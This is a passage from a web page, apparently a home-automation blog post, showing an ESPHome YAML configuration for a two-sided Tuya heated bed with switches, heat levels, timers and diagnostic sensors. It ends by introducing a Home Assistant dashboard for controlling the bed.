</span></span><span style="display:flex;"><span>      - <span style="color:#f92672">switch.turn_on</span>: <span style="color:#ae81ff">master_power_sw</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">turn_off_action</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#f92672">switch.turn_off</span>: <span style="color:#ae81ff">master_power_sw</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">platform</span>: <span style="color:#e6db74">&#34;tuya&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#e6db74">&#34;Master Preheat Power&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">switch_datapoint</span>: <span style="color:#ae81ff">8</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">icon</span>: <span style="color:#ae81ff">mdi:fire</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">id</span>: <span style="color:#ae81ff">master_preheat_sw</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">restore_mode</span>: <span style="color:#ae81ff">DISABLED</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Side A</span>
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">platform</span>: <span style="color:#e6db74">&#34;tuya&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">id</span>: <span style="color:#ae81ff">side_a_power_sw</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">switch_datapoint</span>: <span style="color:#ae81ff">14</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">restore_mode</span>: <span style="color:#ae81ff">DISABLED</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">internal</span>: <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">on_turn_off</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#f92672">switch.turn_off</span>: <span style="color:#ae81ff">side_a_preheat_sw</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">platform</span>: <span style="color:#ae81ff">template</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#e6db74">&#34;Side A Power&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">icon</span>: <span style="color:#ae81ff">mdi:car-seat-heater</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">lambda</span>: |-<span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">      return id(side_a_power_sw).state;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">turn_on_action</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#f92672">switch.turn_on</span>: <span style="color:#ae81ff">activity_btn</span>
</span></span><span style="display:flex;"><span>      - <span style="color:#f92672">delay</span>: <span style="color:#ae81ff">0.</span><span style="color:#ae81ff">5s</span>
</span></span><span style="display:flex;"><span>      - <span style="color:#f92672">switch.turn_on</span>: <span style="color:#ae81ff">side_a_power_sw</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">turn_off_action</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#f92672">switch.turn_off</span>: <span style="color:#ae81ff">side_a_power_sw</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">platform</span>: <span style="color:#e6db74">&#34;tuya&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#e6db74">&#34;Side A Preheat&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">switch_datapoint</span>: <span style="color:#ae81ff">24</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">icon</span>: <span style="color:#ae81ff">mdi:fire</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">restore_mode</span>: <span style="color:#ae81ff">DISABLED</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">id</span>: <span style="color:#ae81ff">side_a_preheat_sw</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Side B</span>
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">platform</span>: <span style="color:#e6db74">&#34;tuya&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">id</span>: <span style="color:#ae81ff">side_b_power_sw</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">switch_datapoint</span>: <span style="color:#ae81ff">15</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">restore_mode</span>: <span style="color:#ae81ff">DISABLED</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">internal</span>: <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">on_turn_off</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#f92672">switch.turn_off</span>: <span style="color:#ae81ff">side_b_preheat_sw</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">platform</span>: <span style="color:#ae81ff">template</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#e6db74">&#34;Side B Power&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">icon</span>: <span style="color:#ae81ff">mdi:car-seat-heater</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">lambda</span>: |-<span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">      return id(side_b_power_sw).state;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">turn_on_action</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#f92672">switch.turn_on</span>: <span style="color:#ae81ff">activity_btn</span>
</span></span><span style="display:flex;"><span>      - <span style="color:#f92672">delay</span>: <span style="color:#ae81ff">0.</span><span style="color:#ae81ff">5s</span>
</span></span><span style="display:flex;"><span>      - <span style="color:#f92672">switch.turn_on</span>: <span style="color:#ae81ff">side_b_power_sw</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">turn_off_action</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#f92672">switch.turn_off</span>: <span style="color:#ae81ff">side_b_power_sw</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">platform</span>: <span style="color:#e6db74">&#34;tuya&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#e6db74">&#34;Side B Preheat&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">switch_datapoint</span>: <span style="color:#ae81ff">25</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">icon</span>: <span style="color:#ae81ff">mdi:fire</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">restore_mode</span>: <span style="color:#ae81ff">DISABLED</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">id</span>: <span style="color:#ae81ff">side_b_preheat_sw</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">platform</span>: <span style="color:#ae81ff">gpio</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">pin</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">number</span>: <span style="color:#ae81ff">GPIO5</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">inverted</span>: <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">id</span>: <span style="color:#ae81ff">activity_btn</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#e6db74">&#34;Activity Button&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">entity_category</span>: <span style="color:#ae81ff">diagnostic</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">internal</span>: <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">on_turn_on</span>:
</span></span><span style="display:flex;"><span>    - <span style="color:#f92672">delay</span>: <span style="color:#ae81ff">500ms</span>
</span></span><span style="display:flex;"><span>    - <span style="color:#f92672">switch.turn_off</span>: <span style="color:#ae81ff">activity_btn</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">number</span>:
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">platform</span>: <span style="color:#ae81ff">template</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#e6db74">&#34;Side A Level&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">id</span>: <span style="color:#ae81ff">side_a_level</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">step</span>: <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">min_value</span>: <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">max_value</span>: <span style="color:#ae81ff">10</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">update_interval</span>: <span style="color:#ae81ff">never</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">entity_category</span>: <span style="color:#ae81ff">config</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">icon</span>: <span style="color:#ae81ff">mdi:thermometer</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">lambda</span>: |-<span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">      return std::stoi(id(side_a_level_int).state.substr(6));</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">set_action</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">then</span>:
</span></span><span style="display:flex;"><span>        - <span style="color:#f92672">select.set</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">id</span>: <span style="color:#ae81ff">side_a_level_int</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">option</span>: !<span style="color:#ae81ff">lambda return &#34;Level &#34; + std::to_string(int(x));</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">platform</span>: <span style="color:#ae81ff">template</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#e6db74">&#34;Side B Level&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">id</span>: <span style="color:#ae81ff">side_b_level</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">step</span>: <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">min_value</span>: <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">max_value</span>: <span style="color:#ae81ff">10</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">update_interval</span>: <span style="color:#ae81ff">never</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">entity_category</span>: <span style="color:#ae81ff">config</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">icon</span>: <span style="color:#ae81ff">mdi:thermometer</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">lambda</span>: |-<span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">      return std::stoi(id(side_b_level_int).state.substr(6));</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">set_action</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">then</span>:
</span></span><span style="display:flex;"><span>        - <span style="color:#f92672">select.set</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">id</span>: <span style="color:#ae81ff">side_b_level_int</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">option</span>: !<span style="color:#ae81ff">lambda return &#34;Level &#34; + std::to_string(int(x));</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">platform</span>: <span style="color:#ae81ff">template</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#e6db74">&#34;Master Heat Level&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">id</span>: <span style="color:#ae81ff">master_level</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">step</span>: <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">min_value</span>: <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">max_value</span>: <span style="color:#ae81ff">10</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">update_interval</span>: <span style="color:#ae81ff">never</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">entity_category</span>: <span style="color:#ae81ff">config</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">icon</span>: <span style="color:#ae81ff">mdi:thermometer</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">lambda</span>: |-<span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">      return std::stoi(id(master_level_int).state.substr(6));</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">set_action</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">then</span>:
</span></span><span style="display:flex;"><span>        - <span style="color:#f92672">select.set</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">id</span>: <span style="color:#ae81ff">master_level_int</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">option</span>: !<span style="color:#ae81ff">lambda return &#34;Level &#34; + std::to_string(int(x));</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">select</span>:
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">platform</span>: <span style="color:#e6db74">&#34;tuya&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">entity_category</span>: <span style="color:#ae81ff">config</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">id</span>: <span style="color:#ae81ff">master_level_int</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">enum_datapoint</span>: <span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">internal</span>: <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">options</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">0</span>: <span style="color:#e6db74">&#34;Level 1&#34;</span> <span style="color:#75715e"># L</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">1</span>: <span style="color:#e6db74">&#34;Level 2&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">2</span>: <span style="color:#e6db74">&#34;Level 3&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">3</span>: <span style="color:#e6db74">&#34;Level 4&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">4</span>: <span style="color:#e6db74">&#34;Level 5&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">5</span>: <span style="color:#e6db74">&#34;Level 6&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">6</span>: <span style="color:#e6db74">&#34;Level 7&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">7</span>: <span style="color:#e6db74">&#34;Level 8&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">8</span>: <span style="color:#e6db74">&#34;Level 9&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">9</span>: <span style="color:#e6db74">&#34;Level 10&#34;</span> <span style="color:#75715e"># H</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">on_value</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">then</span>:
</span></span><span style="display:flex;"><span>        - <span style="color:#f92672">component.update</span>: <span style="color:#ae81ff">master_level</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">platform</span>: <span style="color:#e6db74">&#34;tuya&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">entity_category</span>: <span style="color:#ae81ff">config</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">id</span>: <span style="color:#ae81ff">side_a_level_int</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">enum_datapoint</span>: <span style="color:#ae81ff">20</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">internal</span>: <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">options</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">0</span>: <span style="color:#e6db74">&#34;Level 1&#34;</span> <span style="color:#75715e"># L</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">1</span>: <span style="color:#e6db74">&#34;Level 2&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">2</span>: <span style="color:#e6db74">&#34;Level 3&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">3</span>: <span style="color:#e6db74">&#34;Level 4&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">4</span>: <span style="color:#e6db74">&#34;Level 5&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">5</span>: <span style="color:#e6db74">&#34;Level 6&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">6</span>: <span style="color:#e6db74">&#34;Level 7&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">7</span>: <span style="color:#e6db74">&#34;Level 8&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">8</span>: <span style="color:#e6db74">&#34;Level 9&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">9</span>: <span style="color:#e6db74">&#34;Level 10&#34;</span> <span style="color:#75715e"># H</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">on_value</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">then</span>:
</span></span><span style="display:flex;"><span>        - <span style="color:#f92672">component.update</span>: <span style="color:#ae81ff">side_a_level</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">platform</span>: <span style="color:#e6db74">&#34;tuya&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">entity_category</span>: <span style="color:#ae81ff">config</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">id</span>: <span style="color:#ae81ff">side_b_level_int</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">internal</span>: <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">enum_datapoint</span>: <span style="color:#ae81ff">21</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">options</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">0</span>: <span style="color:#e6db74">&#34;Level 1&#34;</span> <span style="color:#75715e"># L</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">1</span>: <span style="color:#e6db74">&#34;Level 2&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">2</span>: <span style="color:#e6db74">&#34;Level 3&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">3</span>: <span style="color:#e6db74">&#34;Level 4&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">4</span>: <span style="color:#e6db74">&#34;Level 5&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">5</span>: <span style="color:#e6db74">&#34;Level 6&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">6</span>: <span style="color:#e6db74">&#34;Level 7&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">7</span>: <span style="color:#e6db74">&#34;Level 8&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">8</span>: <span style="color:#e6db74">&#34;Level 9&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">9</span>: <span style="color:#e6db74">&#34;Level 10&#34;</span> <span style="color:#75715e"># H</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">on_value</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">then</span>:
</span></span><span style="display:flex;"><span>        - <span style="color:#f92672">component.update</span>: <span style="color:#ae81ff">side_b_level</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">platform</span>: <span style="color:#e6db74">&#34;tuya&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">entity_category</span>: <span style="color:#ae81ff">config</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#e6db74">&#34;Side A Set Timer&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">enum_datapoint</span>: <span style="color:#ae81ff">26</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">icon</span>: <span style="color:#ae81ff">mdi:timer</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">options</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">0</span>: <span style="color:#ae81ff">0.5</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">1</span>: <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">hour</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">2</span>: <span style="color:#ae81ff">1.5</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">3</span>: <span style="color:#ae81ff">2</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">4</span>: <span style="color:#ae81ff">2.5</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">5</span>: <span style="color:#ae81ff">3</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">6</span>: <span style="color:#ae81ff">3.5</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">7</span>: <span style="color:#ae81ff">4</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">8</span>: <span style="color:#ae81ff">4.5</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">9</span>: <span style="color:#ae81ff">5</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">10</span>: <span style="color:#ae81ff">5.5</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">11</span>: <span style="color:#ae81ff">6</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">12</span>: <span style="color:#ae81ff">6.5</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">13</span>: <span style="color:#ae81ff">7</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">14</span>: <span style="color:#ae81ff">7.5</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">15</span>: <span style="color:#ae81ff">8</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">16</span>: <span style="color:#ae81ff">8.5</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">17</span>: <span style="color:#ae81ff">9</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">18</span>: <span style="color:#ae81ff">9.5</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">19</span>: <span style="color:#ae81ff">10</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">20</span>: <span style="color:#ae81ff">24</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">platform</span>: <span style="color:#e6db74">&#34;tuya&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">entity_category</span>: <span style="color:#ae81ff">config</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#e6db74">&#34;Side B Set Timer&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">enum_datapoint</span>: <span style="color:#ae81ff">27</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">icon</span>: <span style="color:#ae81ff">mdi:timer</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">options</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">0</span>: <span style="color:#ae81ff">0.5</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">1</span>: <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">hour</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">2</span>: <span style="color:#ae81ff">1.5</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">3</span>: <span style="color:#ae81ff">2</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">4</span>: <span style="color:#ae81ff">2.5</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">5</span>: <span style="color:#ae81ff">3</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">6</span>: <span style="color:#ae81ff">3.5</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">7</span>: <span style="color:#ae81ff">4</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">8</span>: <span style="color:#ae81ff">4.5</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">9</span>: <span style="color:#ae81ff">5</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">10</span>: <span style="color:#ae81ff">5.5</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">11</span>: <span style="color:#ae81ff">6</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">12</span>: <span style="color:#ae81ff">6.5</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">13</span>: <span style="color:#ae81ff">7</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">14</span>: <span style="color:#ae81ff">7.5</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">15</span>: <span style="color:#ae81ff">8</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">16</span>: <span style="color:#ae81ff">8.5</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">17</span>: <span style="color:#ae81ff">9</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">18</span>: <span style="color:#ae81ff">9.5</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">19</span>: <span style="color:#ae81ff">10</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">20</span>: <span style="color:#ae81ff">24</span> <span style="color:#ae81ff">hours</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">text_sensor</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#75715e"># version sensor</span>
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">platform</span>: <span style="color:#ae81ff">version</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">Firmware Version</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">hide_timestamp</span>: <span style="color:#66d9ef">False</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">id</span>: <span style="color:#ae81ff">version_txt</span>
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># wifi info</span>
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">platform</span>: <span style="color:#ae81ff">wifi_info</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">ip_address</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">name</span>: <span style="color:#ae81ff">IP Address</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">entity_category</span>: <span style="color:#ae81ff">diagnostic</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">mac_address</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">name</span>: <span style="color:#ae81ff">MAC Address</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">entity_category</span>: <span style="color:#ae81ff">diagnostic</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span><span style="color:#f92672">button</span>:
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">platform</span>: <span style="color:#ae81ff">restart</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">Restart</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">id</span>: <span style="color:#ae81ff">restart_btn</span>
</span></span></code></pre></div>
</details></p>



<p><details >
  <summary markdown="span"><strong>Home Assistant Dashboard</strong></summary>
  <p>I’ve made a Home Assistant dashboard for controlling the bed as well</p>
